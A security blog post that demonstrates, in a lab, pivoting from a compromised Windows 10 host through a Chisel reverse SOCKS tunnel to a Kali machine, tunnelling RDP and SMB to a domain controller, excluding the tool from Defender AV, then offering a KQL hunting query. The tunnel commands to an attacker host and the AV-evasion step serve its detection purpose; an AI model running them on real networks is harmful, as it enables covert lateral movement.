Not sure if you know these situations: you have an opinion about something you understand the basic concepts about, but there is still room for more and then, when you finally grasp the whole thing, you are shocked by what you have just learned you didn’t know before.
I always told customers that working with Jumphosts instead of real PAWs is no real barrier for attackers. I emphasized that gaining foothold on the workstation would allow an attacker to easily move forward to the jumpbox and then further.
However, when you see with your own eyes how easy this is, it changes something in your conviction. Let’s go quickly through an example in which an attacker has code execution on a Windows 10 box and opens a proxy channel to an attacker machine. The attacker then uses ‘proxychains’ which ingests all network output from defined tools on the attacker machine into the proxy tunnel to the Windows 10 box.
With that, we will be able to start an RDP session on the attacker machine, proxy it through the Win10 machine to the local Domain Controller.
The result of that is a Domain Controller that only sees an RDP connection coming from the Win10 box and no MSTSC process on this Win10 box. Please, read the last sentence again. This makes the detection of the attacker steps harder.
We will now look into the setup of a test environment for the described case, see how it works and then look into what Defender for Endpoint sees on the Windows 10 machine while we are tunneling through it. Finally, we will come up with a hunting suggestion.
We will setup a Chisel Proxy Server on Kali and execute the proxy client on the Windows 10 machine. We can download the executable form here, or clone the go project and build it by our own.
After download, run the following command to bring up the server on Kali:
sudo chisel server -p 123 --reverse
If all goes well, the server will then start listening:
On the client we need to prevent Defender AV from destroying the Chisel.exe, therefore we put it into a folder and create a local AV exclusion for it:
Now we are ready to start the chisel client on the Windows 10 box, which is our initial access victim:
.\chisel.exe client 172.17.113.147:123 R:1080:socks
Now we are all set – the channel from our attacker machine to the first hop is established. Let’s use it now. Therefore, we need another tool called proxychains. Proxychains redirects all network traffic from a given tool on our Kali box through the proxy tunnel. Let’s use rdesktop as an example:
proxychains rdesktop -u administrator -p password -d 100pcloudcom 172.17.116.92:3389 -k en
Of course, we need the credentials of an account that can logon to the domain controller for that – but then:
Now, the cool thing is that the domain controller thinks there is a rdp connection that is coming from the Windows 10 box:
Now, let’s have a look into Microsoft Defender for Endpoint:
As we already noticed, the rdp connection is established from the Windows 10 box to the domain controller. The next thing we recognize is that we don’t have a mstsc process on the Win10 box, but only chisel that is porting all network traffic of specified tools from Kali to Windows. Of course, this behavior is the same for all tools we smuggle through the proxy channel:
In the above example we use ‘smbclient’ to check the shares on the domain controller. And here is the MDE output:
The following hunting query is summarizing processes that have multiple network connections open with at least one in the local and one in a public network. With that we can hunt for occurrences in which a tool like the chisel client would have established a connection to a remote SOCKS proxy and at the same time would route the traffic from that tunnel to another internal target:
DeviceNetworkEvents | where isnotempty(InitiatingProcessFileName) | where RemoteIPType != "Loopback" and RemoteIPType != "FourToSixMapping" | summarize ipSet = make_set(strcat(RemoteIP, " (RemoteIPType: ", RemoteIPType, ")")) by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1s), InitiatingProcessFolderPath | where array_length(ipSet) > 1 | where InitiatingProcessFolderPath !startswith @"c:\program files" and InitiatingProcessFolderPath !startswith @"c:\windows" and InitiatingProcessFolderPath !startswith @"c:\programdata" | where ipSet has "private" and ipSet has "public" GitHub
You need to adjust the example to your environment, since there are a few false positives left.